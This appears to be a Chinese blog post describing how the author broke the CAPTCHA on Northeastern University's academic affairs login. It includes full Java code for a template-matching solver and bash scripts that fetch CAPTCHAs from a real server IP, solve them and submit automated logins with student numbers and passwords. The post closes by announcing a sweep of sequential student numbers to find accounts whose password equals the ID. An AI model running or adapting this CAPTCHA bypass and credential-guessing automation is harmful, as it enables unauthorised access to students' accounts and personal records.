东大教务处验证码破解
東北大學(xué)教務(wù)處編的很爛,一點(diǎn)鼠標(biāo)鍵,它就著急拉慌說:"不當(dāng)?shù)目截悤?huì)損壞您的系統(tǒng)".東大教務(wù)處的驗(yàn)證碼是最簡(jiǎn)單的那一種,形同虛設(shè),很易破解.
一.東大教務(wù)處驗(yàn)證碼特點(diǎn)概述
先上幾張圖片,.
字符集 a-zA-Z0-9共26+26+10=62個(gè)字符
字符位置 四種,如果四個(gè)字符一模一樣,這四個(gè)字符之間的間距是固定的,即第一個(gè)與第二個(gè),第二個(gè)與第三個(gè),第三個(gè)與第四個(gè)之間的距離都是一樣的.
字符形狀 字符形狀始終是一樣的,不同位置的同一字符可以通過平移來生成.
上面這些規(guī)律可以通過大量獲取驗(yàn)證碼并加以分析找出.
二.獲取驗(yàn)證碼,這是分析的材料
既可以用HttpClient也可以用原生的URLConnection,這個(gè)問題比較簡(jiǎn)單,用URLConnection就足以解決了.只需要不停地訪問特定鏈接,每次訪問都會(huì)新生成驗(yàn)證碼,這是因?yàn)闆]有把Session存儲(chǔ)起來,只有Session相同,訪問這個(gè)鏈接才能保持不變.
public static void main(String[] args) throws Exception {for(int x=0;x<10;x++){download(x);}}static void download(int x) throws Exception {URL url = new URL("http://202.118.31.197/index.jsp/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=92.16375222337473");URLConnection connection = url.openConnection();BufferedImage bit = ImageIO.read(connection.getInputStream());ImageIO.write(bit, "png", new File("img\\"+x + ".png"));}千萬(wàn)要注意的是,ImageIO.write()的第二個(gè)參數(shù)不能加點(diǎn),即不能寫成".png",否則文件無法保存.而這個(gè)過程也不拋出異常.
三.驗(yàn)證碼流程概述
服務(wù)器端有一個(gè)Servlet,專門用來處理驗(yàn)證碼問題,每次訪問這個(gè)Servlet,它都會(huì)做兩件事:生成一個(gè)字符串作為驗(yàn)證碼,把這個(gè)字符串存儲(chǔ)到session中,然后根據(jù)驗(yàn)證碼字符串生成一張圖片應(yīng)答客戶端請(qǐng)求.當(dāng)瀏覽器端提交用戶名,密碼,驗(yàn)證碼表單時(shí),服務(wù)器端根據(jù)驗(yàn)證碼是否與Session中的驗(yàn)證碼一致來決定是否進(jìn)行下一步判斷(用戶名密碼是否匹配).
所以,需要把Session存儲(chǔ)起來,以同一Session去訪問一個(gè)同一個(gè)驗(yàn)證碼.即,
第一步訪問主頁(yè)面,獲取html,并把Session保存起來
第二步解析html頁(yè)面,找到驗(yàn)證碼圖片鏈接,用上面保存的那個(gè)Session去訪問這個(gè)鏈接,得到正確的驗(yàn)證碼圖片
第三步根據(jù)圖片求出一個(gè)字符串,也就是驗(yàn)證碼的破解過程.
第四步模擬提交表單,登錄教務(wù)處,表單中包括用戶名,密碼,驗(yàn)證碼
第五步根據(jù)登陸之后的結(jié)果(返回的html頁(yè)面),去訪問頁(yè)面內(nèi)容
用JSOUP來解析html是很好的.
四.給一張圖片如何識(shí)別上面的字符
給一張圖片,我們所知道的就是圖片上的各個(gè)像素值,即ARGB(在這個(gè)問題中A值一直不變,只有RGB發(fā)生變化).根據(jù)相鄰點(diǎn)的顏色差就可以判斷兩個(gè)點(diǎn)是不是屬于同一個(gè)"國(guó)家".
顏色差可以有多種計(jì)算方法:
余弦定理:RGB就相當(dāng)于一個(gè)三維空間,在這個(gè)三維空間中一個(gè)顏色就表示一個(gè)點(diǎn).比如兩個(gè)顏色對(duì)應(yīng)的點(diǎn)為A,B.原點(diǎn)用O來表示,求OA和OB的夾角,夾角小說明兩種顏色相近.
歐幾里得距離:RGB就相當(dāng)于一個(gè)三維空間,每個(gè)顏色對(duì)應(yīng)一個(gè)點(diǎn),兩個(gè)顏色對(duì)應(yīng)點(diǎn)為A,B.求線段AB的長(zhǎng)度,此長(zhǎng)度即為兩個(gè)顏色的差異,AB長(zhǎng)度越短說明兩個(gè)顏色越相近.
漢密爾頓距離:RGB就相當(dāng)于一個(gè)三維空間,每個(gè)顏色對(duì)應(yīng)一個(gè)點(diǎn),兩個(gè)顏色對(duì)應(yīng)點(diǎn)為A,B,線段AB的距離定義為|x2-x1|+|y2-y1|+|z2-z1|
從左到右,從上到下掃描圖片的各個(gè)像素點(diǎn),給每個(gè)點(diǎn)標(biāo)一個(gè)國(guó)家id.從一個(gè)"有國(guó)點(diǎn)"可以向"無國(guó)點(diǎn)"沿上下左右四個(gè)方向進(jìn)行擴(kuò)散,如果顏色差不超過某個(gè)閾值,那么有國(guó)點(diǎn)就可以進(jìn)行領(lǐng)土擴(kuò)張,把無國(guó)點(diǎn)占領(lǐng),把無國(guó)點(diǎn)的國(guó)家id標(biāo)為自己的國(guó)家id.這樣一來,整個(gè)圖片就被分成了許多個(gè)國(guó)家.每個(gè)國(guó)家代表一個(gè)字符.
然而,圖片上是有噪音的,閾值不同會(huì)影響國(guó)家的劃分,閾值的兩個(gè)極端是:國(guó)家太多(一個(gè)字符被分裂成了多個(gè)國(guó)家),國(guó)家太少(整張圖片就是一個(gè)國(guó)家,像純色圖片一樣).
我想要獲得的是:每個(gè)字符在4種位置上所對(duì)應(yīng)的"點(diǎn)集合",通過鼠標(biāo)右鍵點(diǎn)擊,來作為這個(gè)國(guó)家的開始點(diǎn)進(jìn)行擴(kuò)展,幾乎形成了一個(gè)字符(像掃雷一樣,我點(diǎn)擊一個(gè)點(diǎn),擴(kuò)展出來一大片點(diǎn)).這樣就形成了一個(gè)字符的主體.這個(gè)主體可能是不完整的,需要通過鼠標(biāo)左鍵來點(diǎn)擊個(gè)別點(diǎn)來完善這個(gè)字符的"點(diǎn)集合".鼠標(biāo)雙擊清空點(diǎn)集合,鼠標(biāo)滾輪滾動(dòng)調(diào)整顏色閾值.通過這種可視化的操作就可以生成62個(gè)字符在4個(gè)位置對(duì)應(yīng)的點(diǎn)集合.
經(jīng)過觀察,同一字符在4個(gè)位置上形狀是一模一樣的,只是位置不一樣,驗(yàn)證碼"AAAA",每個(gè)A之間的距離是一樣的,為disA,"BBBB"每個(gè)B之間的距離是一樣的,為disB.發(fā)現(xiàn)disA=disB.
這樣一來,問題轉(zhuǎn)化為建立一個(gè)"數(shù)據(jù)庫(kù)",為62個(gè)字符各自定義一套描述形狀的"點(diǎn)集合".并把每個(gè)字符在4個(gè)位置的最左,最上的點(diǎn)的坐標(biāo)記錄下來.有了形狀,有了位置,就可以制作驗(yàn)證碼了!這樣就可以檢驗(yàn)一下自己的數(shù)據(jù)庫(kù)是否正確.
數(shù)據(jù)庫(kù)格式如下:
字符 在第一個(gè)位置的最左最上點(diǎn)的坐標(biāo) 字符相對(duì)于它最左最上點(diǎn)的相對(duì)坐標(biāo)(以最左最上點(diǎn)為原點(diǎn))
知道了第一個(gè)位置上的最左最上點(diǎn),就可以推出在第二,第三個(gè)位置上的最左最上點(diǎn)坐標(biāo).
五.應(yīng)用數(shù)據(jù)庫(kù)
有了數(shù)據(jù)庫(kù),就有了一套"模板".對(duì)于一個(gè)包含四個(gè)字符的驗(yàn)證碼圖片,我把這四個(gè)字符逐一破解,而不是一下子全部破解.
對(duì)于位置一上的字符,有62中可能,我就把這62個(gè)字符挨個(gè)畫在圖片上,必然得到一個(gè)"點(diǎn)集合",也就是一個(gè)"顏色值集合",也就是一個(gè)"三維向量集合".求出"三維向量集合"的標(biāo)準(zhǔn)差來,如果標(biāo)準(zhǔn)差小,說明這個(gè)字符匹配得好;標(biāo)準(zhǔn)差大,說明這個(gè)字符匹配得差.
不一定是標(biāo)準(zhǔn)差,也可以是其他的數(shù)值來描述這個(gè)"三維向量集合"的特征.最終要的結(jié)果是:能夠根據(jù)"三維向量集"映射到62個(gè)字符中的一個(gè).
六.結(jié)果
對(duì)于有些字符,比如0(零)和O(歐),它們的字形是完全一樣的,遇到包含這兩者的驗(yàn)證碼時(shí)是誰(shuí)都可以,但是服務(wù)器可不這么認(rèn)為.
對(duì)于i和I,對(duì)于i和L,它們具有包含關(guān)系,也就是說明明是L,會(huì)識(shí)別成i.因?yàn)長(zhǎng)所在"點(diǎn)集合"包括i所在"點(diǎn)集合",后者標(biāo)準(zhǔn)差更小,這樣就造成了誤判.
解決方法一是調(diào)整"三維向量集"到"數(shù)值"的映射,不要使用標(biāo)準(zhǔn)差,而是使用其它函數(shù);
解決方法二:對(duì)得到的62個(gè)標(biāo)準(zhǔn)差就行排名,不取標(biāo)準(zhǔn)差最小值作為結(jié)果,而是一旦形成這個(gè)排名,那就選擇第幾名.比如L字符通常排在第二名,i排在第一名.通過檢測(cè)前五名,如果前五名滿足某個(gè)序列,那就放棄"最小值原則",而采取"特殊處理".
解決方法三:如果標(biāo)準(zhǔn)差相差不大,誰(shuí)的面積大就選誰(shuí).對(duì)于前幾名,如果第n+1名的標(biāo)準(zhǔn)差<第n名的標(biāo)準(zhǔn)差的1.3倍,這就說明二者標(biāo)準(zhǔn)差相差不大,此時(shí)如果第n+1名面積大(點(diǎn)多),那么就選擇第n+1名.然后再把n+1名跟n+2名做如此比較.直到找到最好的為止.
Main.java:用來生成"字形字位數(shù)據(jù)庫(kù)"
/* 驗(yàn)證碼圖片是60*20的矩形點(diǎn)陣,每個(gè)點(diǎn)用RGB三原色表示(ARGB中的A始終為0xff)* 驗(yàn)證碼有62種字符0-9,a-z,A-Z* 每一個(gè)字符都有一個(gè)形狀:這是一個(gè)點(diǎn)集合* 每個(gè)字符都有固定的位置(有四種位置,每?jī)蓚€(gè)相鄰位置之間的距離為13格)* 這個(gè)文件用來產(chǎn)生數(shù)據(jù),格式為62行,每行開頭一個(gè)字符,接著第一種位置x和y,* 剩下的內(nèi)容都是點(diǎn)集合* * 這個(gè)程序的目的是可視化的產(chǎn)生上述數(shù)據(jù),通過鼠標(biāo)點(diǎn)擊,來選定點(diǎn)集* 鼠標(biāo)左鍵:選定單個(gè)點(diǎn)* 鼠標(biāo)右鍵:選定一個(gè)點(diǎn)及其附近與之相似的點(diǎn)* CTRL+鼠標(biāo)左鍵:清除單個(gè)點(diǎn)* 空格:清空全部點(diǎn)* ctrl+s保存當(dāng)前結(jié)果到文件* * 選定一個(gè)點(diǎn)及其附近與之相似的點(diǎn):利用顏色相似度來決定是否兩個(gè)相鄰點(diǎn)為同一個(gè)國(guó)家的公民* 如果兩個(gè)相鄰點(diǎn)顏色相近,那就把他倆看成連通的* 求出整個(gè)大圖的全部連通分量* * 一開始我還準(zhǔn)備進(jìn)行噪音處理,然而效果并不理想* */ class Point {int x, y;Point(int x, int y) {this.x = x;this.y = y;}@Overridepublic int hashCode() {return x ^ y;}@Overridepublic boolean equals(Object obj) {Point p = (Point) obj;return p.x == x && p.y == y;}boolean less(Point p) {if (x == p.x)return y < p.y;elsereturn x < p.x;} }class Country {ArrayList<Point> a = new ArrayList<Point>();Country() {}Country(ArrayList<Point> a) {this.a = new ArrayList<Point>();for (Point p : a) {this.a.add(new Point(p.x, p.y));}} }class Go {int[][] a;int[][] ans;int[][] id;ArrayList<Country> countries = new ArrayList<Country>();int w, h;int[] color;static int COLOR_DIS = 55;static int NOISE_LOWER_BOUND = 5, NOISE_UPPER_BOUND = 4;public Go(int[][] a) {this.a = a;w = a.length;h = a[0].length;id = new int[w][h];expand();// delNoise(); initColor(countries.size());getAns();}void cout(String s) {System.out.println(s);}void getAns() {ans = new int[w][h];for (int i = 0; i < countries.size(); i++) {Country c = countries.get(i);for (int j = 0; j < c.a.size(); j++) {ans[c.a.get(j).x][c.a.get(j).y] = color[i];}}}void delNoise() {Country zero = countries.get(0);for (int i = countries.size() - 1; i >= 0; i--) {Country c = countries.get(i);if (c.a.size() < NOISE_LOWER_BOUND || radius(c) > NOISE_UPPER_BOUND) {zero.a.addAll(c.a);countries.remove(i);}}}boolean hasRadius(Country c, int r) {for (int i = 0; i < c.a.size(); i++) {int m = c.a.get(i).x, n = c.a.get(i).y;boolean ok = true;out: for (int j = -r; j <= r; j++) {for (int k = -(r - Math.abs(j)); k <= r - Math.abs(j); k++) {int x = m + j, y = n + k;if (legal(x, y) && id[x][y] != id[m][n]) {ok = false;break out;}}}if (ok)return true;}return false;}int radius(Country c) {int r = (int) Math.sqrt(c.a.size()), l = 0;while (l < r) {int m = (l + r) >> 1;if (hasRadius(c, m))l = m + 1;elser = m;}return r;}void expand() {countries.add(new Country());for (int i = 0; i < w; i++) {for (int j = 0; j < h; j++) {if (id[i][j] == 0) {countries.add(new Country());go(countries.get(countries.size() - 1), i, j, countries.size() - 1);}}}}void go(Country country, int fx, int fy, int cnt) {int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };id[fx][fy] = cnt;country.a.add(new Point(fx, fy));for (int i = 0; i < dir.length; i += 2) {int x = fx + dir[i], y = fy + dir[i + 1];if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < COLOR_DIS) {go(country, x, y, cnt);}}}void initColor(int cnt) {color = new int[cnt];double per = 255.0 / Math.pow(cnt, 1.0 / 3);int ci = 0;for (int i = 0; i < 255; i += per) {for (int j = 0; j < 255; j += per) {for (int k = 0; k < 255; k += per) {color[ci++] = i | j << 8 | k << 16;if (ci == cnt)return;}}}}boolean legal(int x, int y) {return x >= 0 && y >= 0 && x < w && y < h;}int dis(int x, int y) {int ans = 0;for (int i = 0; i < 3; i++) {int d = Math.abs((x & 255) - (y & 255));ans += d * d;x >>= 8;y >>= 8;}ans = (int) Math.sqrt(ans);return ans;} }class Data {Country[] xing = new Country[128];Point[][] wei = new Point[128][4];void save() {PrintWriter cout = null;try {cout = new PrintWriter(new File("haha.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}for (char c = '0'; c <= '9'; c++) {print(cout, c);}for (char c = 'a'; c <= 'z'; c++) {print(cout, c);}for (char c = 'A'; c <= 'Z'; c++) {print(cout, c);}cout.close();}void print(PrintWriter cout, char c) {cout.println();cout.print(c);for (int i = 0; i < 4; i++)if (wei[c][i] == null)continue;elsecout.print(" " + wei[c][i].x + " " + wei[c][i].y);if (xing[c] == null)return;for (Point p : xing[c].a)cout.print(" " + p.x + " " + p.y);}String gets(char c) {String s = "" + c;for (int i = 0; i < 4; i++) {if (wei[c][i] == null) {s += " (_,_)";} else {s += " (" + wei[c][i].x + "," + wei[c][i].y + ")";}}if (xing[c] != null) {s += "====== ";for (Point p : xing[c].a) {s += "(" + p.x + "," + p.y + ")";}}return s + "\n";}public String toString() {String s = "";for (char c = '0'; c <= '9'; c++) {s += gets(c);}for (char c = 'a'; c <= 'z'; c++) {s += gets(c);}for (char c = 'A'; c <= 'Z'; c++) {s += gets(c);}return s;}void sort(ArrayList<Point> a) {for (int i = 0; i < a.size(); i++) {for (int j = 0; j < a.size(); j++) {if (a.get(i).less(a.get(j))) {Point temp = a.get(i);a.set(i, a.get(j));a.set(j, temp);}}}}void uniq(ArrayList<Point> a) {for (int i = a.size() - 1; i > 0; i--)if (a.get(i).equals(a.get(i - 1))) {a.remove(i);}}void update(ArrayList<Point> a) {int x = a.get(0).x, y = a.get(0).y;for (Point p : a) {p.x -= x;p.y -= y;}}void set(String s, Country country) {if (country == null || country.a == null)return;Scanner cin = new Scanner(s);String c = cin.next();if (country.a.size() == 0) {System.out.println("Country.a.size() cannot be zero !!!");}if (country.a.size() == 1) {int pos = cin.nextInt() - 1;wei[c.charAt(0)][pos] = country.a.get(0);} else {sort(country.a);uniq(country.a);update(country.a);xing[c.charAt(0)] = country;}cin.close();} }public class Main extends JFrame {public static void main(String[] args) {try {UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());} catch (ClassNotFoundException | InstantiationException | IllegalAccessException| UnsupportedLookAndFeelException e) {e.printStackTrace();}new Main();}File[] files = new File("img").listFiles();int fileIndex = 0;JPanel protoPanel = new JPanel(), nowPanel = new JPanel();JTextField txt = new JTextField();JTextArea area = new JTextArea(6, 0);Container content;int proto[][], now[][];BufferedImage protoImage, nowImage;ArrayList<Point> selectedPoints;Data data = new Data();Go go;void initControl() {Font f = new Font("Ubuntu Mono", Font.BOLD, 30);txt.setFont(f);area.setFont(f);area.setEditable(false);txt.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_ENTER) {data.set(txt.getText(), new Country(selectedPoints));area.setText(data.toString());txt.setText("");selectedPoints = null;protoPanelPaint();}}});}Main() {loadProto();loadNow();setTitle("agnomen decoder");content = getContentPane();content.setLayout(new BorderLayout());JPanel pane = new JPanel(new GridLayout());pane.add(protoPanel);pane.add(nowPanel);content.add(pane, BorderLayout.CENTER);JPanel editPane = new JPanel(new BorderLayout());initControl();editPane.add(txt, BorderLayout.NORTH);editPane.add(new JScrollPane(area), BorderLayout.CENTER);content.add(editPane, BorderLayout.NORTH);setExtendedState(MAXIMIZED_BOTH);setDefaultCloseOperation(EXIT_ON_CLOSE);setVisible(true);protoPanel.addMouseListener(new MouseAdapter() {@Overridepublic void mouseEntered(MouseEvent e) {protoPanel.grabFocus();}@Overridepublic void mouseClicked(MouseEvent e) {double w = (double) protoPanel.getWidth() / proto.length,h = (double) protoPanel.getHeight() / proto[0].length;int x = (int) (e.getX() / w), y = (int) (e.getY() / h);int color = proto[x][y];int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;setTitle(x + " " + y + " " + r + " " + g + " " + b);if (e.getButton() == MouseEvent.BUTTON3) {selectedPoints = go.countries.get(go.id[x][y]).a;protoPanelPaint();} else if (e.getButton() == MouseEvent.BUTTON1) {if (e.isControlDown()) {if (selectedPoints == null)return;for (Point p : selectedPoints) {if (p.x == x && p.y == y) {selectedPoints.remove(p);protoPanelPaint();return;}}} else {if (selectedPoints == null)selectedPoints = new ArrayList<Point>();selectedPoints.add(new Point(x, y));protoPanelPaint();}}}});nowPanel.addMouseWheelListener(new MouseWheelListener() {@Overridepublic void mouseWheelMoved(MouseWheelEvent e) {int x = e.getWheelRotation();Go.COLOR_DIS += x;setTitle(Go.COLOR_DIS + "");loadNow();nowPanelPaint();}});protoPanel.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_DOWN) {fileIndex = (fileIndex + 1) % files.length;selectedPoints = null;loadProto();loadNow();repaint();} else if (e.getKeyCode() == KeyEvent.VK_UP) {fileIndex = (fileIndex - 1 + files.length) % files.length;selectedPoints = null;loadProto();loadNow();repaint();} else if (e.getKeyCode() == KeyEvent.VK_S && e.isControlDown()) {data.save();/** JFrame dlg = new JFrame();* //dlg.getContentPane().setLayout(null); JTextArea area =* new JTextArea(); Font f = new Font("Ubuntu Mono",* Font.BOLD, 30); area.setFont(f); Scanner cin = null; try* { cin = new Scanner(new File("data.txt")); } catch* (FileNotFoundException e1) { e1.printStackTrace(); }* String s = ""; while (cin.hasNext()) { s +=* cin.nextLine()+"\n"; } area.setText(s);* dlg.getContentPane().add(area);* dlg.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);* dlg.setSize(800, 800); dlg.setVisible(true);*/} else if (e.getKeyCode() == KeyEvent.VK_SPACE) {selectedPoints = null;protoPanelPaint();}}});}@Overridepublic void paint(Graphics g) {protoPanelPaint();nowPanelPaint();}void loadNow() {go = new Go(proto);now = go.ans;nowImage = toImg(now);}void loadProto() {try {protoImage = ImageIO.read(files[fileIndex]);proto = toArray(protoImage);} catch (IOException e) {e.printStackTrace();}}int[][] copy(int[][] src) {int[][] a = new int[src.length][src[0].length];for (int i = 0; i < src.length; i++) {for (int j = 0; j < src[i].length; j++) {a[i][j] = src[i][j];}}return a;}void nowPanelPaint() {nowPanel.getGraphics().drawImage(nowImage, 0, 0, nowPanel.getWidth(), nowPanel.getHeight(), null);}void protoPanelPaint() {int[][] midArray = copy(proto);addColor(midArray);BufferedImage midImg = toImg(midArray);protoPanel.getGraphics().drawImage(midImg, 0, 0, protoPanel.getWidth(), protoPanel.getHeight(), null);}void addColor(int[][] a) {if (selectedPoints == null)return;for (Point p : selectedPoints) {a[p.x][p.y] = 0xff0000;}}BufferedImage toImg(int[][] a) {BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);for (int i = 0; i < pic.getWidth(); i++) {for (int j = 0; j < pic.getHeight(); j++) {pic.setRGB(i, j, a[i][j]);}}return pic;}int[][] toArray(BufferedImage img) {int a[][] = new int[img.getWidth()][img.getHeight()];for (int i = 0; i < img.getWidth(); i++) {for (int j = 0; j < img.getHeight(); j++) {a[i][j] = img.getRGB(i, j);}}return a;}void cout(String s) {System.out.print(s);} }TestAns.java:用來檢驗(yàn)數(shù)據(jù)庫(kù)是否正確
/* Main.java用來生成數(shù)據(jù)* 本程序用來驗(yàn)證生成的數(shù)據(jù)是否正確* 其實(shí)就是從data.txt中把數(shù)據(jù)讀出來,然后畫一下* 用眼睛一看便知是否正確* * l和o在驗(yàn)證碼中沒出現(xiàn)過* 在txtField中輸入字符,按enter就可以在同一張圖片上查看不同對(duì)比* */ class Node {int x, y;ArrayList<Point> a = new ArrayList<Point>(); }public class TestAns extends JFrame {public static void main(String[] args) {new TestAns();}Node[] a = new Node[128];char[] charSet;int index = 0;int[][] nowArray = new int[60][20];JTextField txt = new JTextField();JPanel panel = new JPanel();void readFile() {Scanner cin = null;try {cin = new Scanner(new File("data.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}while (cin.hasNextLine()) {String s = cin.nextLine();Scanner sin = new Scanner(s);char c = sin.next().charAt(0);a[c] = new Node();a[c].x = sin.nextInt();a[c].y = sin.nextInt();while (sin.hasNext()) {a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));}sin.close();}cin.close();}void initCharSet() {String s = "";for (char c = '0'; c <= '9'; c++)s += c;for (char c = 'a'; c <= 'z'; c++)s += c;for (char c = 'A'; c <= 'Z'; c++)s += c;charSet = s.toCharArray();}public TestAns() {readFile();initCharSet();initNowArray("0000"); Container content = getContentPane();content.setLayout(new BorderLayout());content.add(txt, BorderLayout.NORTH);txt.addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_ENTER) {initNowArray(txt.getText());repaint();}else if (e.getKeyCode() == KeyEvent.VK_UP) {index--;char c = charSet[index];initNowArray(c + "" + c + "" + c + "" + c);repaint();} else if (e.getKeyCode() == KeyEvent.VK_DOWN) {index++;char c = charSet[index];initNowArray(c + "" + c + "" + c + "" + c);repaint();}}});content.add(panel, BorderLayout.CENTER);setExtendedState(MAXIMIZED_BOTH);setDefaultCloseOperation(DISPOSE_ON_CLOSE);setVisible(true);}@Overridepublic void paint(Graphics ggg) {Graphics g = panel.getGraphics();g.drawImage(toImg(nowArray), 0, 0, panel.getWidth(), panel.getHeight(), null);}void initNowArray(String s) {setTitle(s);for (int i = 0; i < nowArray.length; i++) {for (int j = 0; j < nowArray[0].length; j++) {nowArray[i][j] = 0;}}for (int i = 0; i < 4 && i < s.length(); i++) {char c = s.charAt(i);for (Point p : a[c].a) {nowArray[p.x + a[c].x + i * 13][a[c].y + p.y] = 0xffffff;}}}BufferedImage toImg(int[][] a) {BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);for (int i = 0; i < pic.getWidth(); i++) {for (int j = 0; j < pic.getHeight(); j++) {pic.setRGB(i, j, a[i][j]);}}return pic;} }Decoder.java:應(yīng)用數(shù)據(jù)庫(kù),破解驗(yàn)證碼
/* 經(jīng)過Main.java生成數(shù)據(jù),TestAns驗(yàn)證數(shù)據(jù),本程序應(yīng)用數(shù)據(jù)去破解圖片* 從文件夾中讀取全部的圖片,在窗口的標(biāo)題處顯示破解結(jié)果* 在窗口主體處顯示原始圖片* * 如何應(yīng)用那些數(shù)據(jù)呢?* for循環(huán)62個(gè)字符*4個(gè)位置,如果匹配成功了,那就該字符所覆蓋的點(diǎn)集顏色方差非常小* 所以,只要找出方差最小的字符來就可以了* i和P,K,j等字符容易混淆,n和h容易混淆,因?yàn)楹笳甙罢?我的解決方法是一個(gè)判斷,如果方差相差不多,那就取面積大者* O和0分不清,因?yàn)檫@兩個(gè)字符一模一樣* */ class Color {double r, g, b;Color add(Color c) {return new Color(r + c.r, g + c.g, b + c.b);}Color(double d, double e, double f) {this.r = d;this.g = e;this.b = f;}Color(int x) {r = x & 255;g = (x >> 8) & 255;b = (x >> 16) & 255;}public Color mul() {return new Color(r * r, g * g, b * b);}public Color sub(Color m) {return new Color(r - m.r, g - m.g, b - m.b);}public Color div(int size) {return new Color(r / size, g / size, b / size);}public double len() {return Math.sqrt(r * r + g * g + b * b);} }public class Decoder extends JFrame {public static void main(String[] args) {if (args.length == 0)new Decoder();else if (args.length == 1)new Decoder(args[0]);else {System.out.println("too much arguments");System.exit(-1);}}File[] files = new File("img").listFiles();int fileIndex = 0;Container content;Node[] a = new Node[128];char[] charSet;int[][] proto;void readFile() {Scanner cin = null;try {cin = new Scanner(new File("data.txt"));} catch (FileNotFoundException e) {e.printStackTrace();}while (cin.hasNextLine()) {String s = cin.nextLine();Scanner sin = new Scanner(s);char c = sin.next().charAt(0);a[c] = new Node();a[c].x = sin.nextInt();a[c].y = sin.nextInt();while (sin.hasNext()) {a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));}sin.close();}cin.close();}void initCharSet() {String s = "";for (char c = '0'; c <= '9'; c++)s += c;for (char c = 'a'; c <= 'z'; c++)s += c;for (char c = 'A'; c <= 'Z'; c++)s += c;charSet = s.toCharArray();}Decoder(String path) {readFile();initCharSet();BufferedImage img = null;try {img = ImageIO.read(files[fileIndex]);} catch (IOException e) {e.printStackTrace();}proto = toArray(img);System.out.println(go());}Decoder() {readFile();initCharSet();content = getContentPane();setDefaultCloseOperation(EXIT_ON_CLOSE);setExtendedState(MAXIMIZED_BOTH);setVisible(true);addKeyListener(new KeyAdapter() {@Overridepublic void keyPressed(KeyEvent e) {if (e.getKeyCode() == KeyEvent.VK_DOWN) {fileIndex = (fileIndex + 1) % files.length;repaint();} else if (e.getKeyCode() == KeyEvent.VK_UP) {fileIndex = (fileIndex - 1 + files.length) % files.length;repaint();}}});}@Overridepublic void paint(Graphics g) {try {BufferedImage img = ImageIO.read(files[fileIndex]);proto = toArray(img);g.drawImage(img, 0, 0, content.getWidth(), content.getHeight(), null);setTitle(go());} catch (IOException e) {e.printStackTrace();}}String go() {double sizeRatio = 3.47;String ans = "";for (int i = 0; i < 4; i++) {char minC = 'l';double minDx = Double.MAX_VALUE;for (char c : charSet) {ArrayList<Point> s = a[c].a;Color m = new Color(0), n = new Color(0);for (Point p : s) {int x = p.x + a[c].x + i * 13, y = p.y + a[c].y;m = m.add(new Color(proto[x][y]));n = n.add(new Color(proto[x][y]).mul());}n = n.div(s.size());m = m.div(s.size());double nowDx = n.sub(m.mul()).len();System.out.println(c + " " + nowDx);/** This condition is very important ! Different condition can* generate different result !*/if (nowDx < minDx && !(minDx < nowDx * sizeRatio && s.size() < a[minC].a.size())|| nowDx < minDx * sizeRatio && s.size() > a[minC].a.size()) {// if (nowDx < 1500 && s.size() > a[minC].a.size()) {minDx = nowDx;minC = c;}}ans += minC;}return ans;}int[][] toArray(BufferedImage img) {int a[][] = new int[img.getWidth()][img.getHeight()];for (int i = 0; i < img.getWidth(); i++) {for (int j = 0; j < img.getHeight(); j++) {a[i][j] = img.getRGB(i, j);}}return a;} }為了像使用腳本一樣使用java,我把.class文件生成到臨時(shí)文件夾中,編譯完之后立馬執(zhí)行.
#!/bin/bash test -e $1 || { echo 'file does not exist !';exit 2; } src=$1 shift name="${src%.*}" type="${src##*.}" dir=`pwd` dir="/tmp/${dir_}" case $type injava)path="$dir/$name.class"compile="javac -d $dir $src"run="java -cp $dir $name $@";;cpp)path="$dir/$name.out"compile="g++ $1 -o $dir/$name.out"run="$dir/$name.out $@";;*)echo "unknown file type "exit 1 esac if test ! -d "$dir" ;then #echo 'mkdir...compiling...'mkdir "$dir" && $compile && $run elif test ! -f $path -o $path -ot $src ;then #echo 'compiling...' $compile && $run else $run fi寫一個(gè)腳本試試驗(yàn)證碼破解的正確率,eog調(diào)用圖片查看命令
#!/bin/bash home="202.118.31.197" url="http://$home/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=0" while true;dowget -o /dev/null -O 'agnomen' $url./ja Decoder.java 'agnomen'eog 'agnomen' done使用curl命令進(jìn)行請(qǐng)求服務(wù)器并調(diào)用java代碼破解驗(yàn)證碼,然后模擬登陸.
function cout(){echo -e "\033[31m$@\033[0m" } function translate(){ iconv -f "$1" -t utf-8 "$2" -o "$2" } usr='20124003' usr="$1" passwd='weidiao' passwd="$2" home="202.118.31.197" url="http://$home" find "$home" -type f -exec rm {} \;wget -o /dev/null --keep-session-cookies --save-cookies='cookie' -p $url pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o 'ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=[0-9,.]*'` x=`./ja Decoder.java "$home/$pic"` data="WebUserNO=$usr&Password=$passwd&Agnomen=$x" wget -o /dev/null -O "aao.html" --keep-session-cookies --load-cookies='cookie' --post-data=$data "$url/ACTIONLOGON.APPPROCESS?mode=" translate "gb2312" "aao.html" grep "frameset" "aao.html" || { cout "login failed"; exit 1; } cout "login successful !" #exit 0echo ======================= wget -o /dev/null --keep-session-cookies --load-cookies='cookie' -p "http://202.118.31.197/ACTIONFINDSTUDENTINFO.APPPROCESS" stuInfo="$home/ACTIONFINDSTUDENTINFO.APPPROCESS?mode=1&showMsg=" translate "gbk" "$stuInfo" cat "$stuInfo"終于到了收獲的季節(jié),查看一下有多少人學(xué)號(hào)跟密碼是一回事(沒法破解密碼,破解密碼只能通過暴力方式),驗(yàn)證碼是不用手動(dòng)填的,我同學(xué)的學(xué)號(hào)都是遞增的數(shù)字序列.
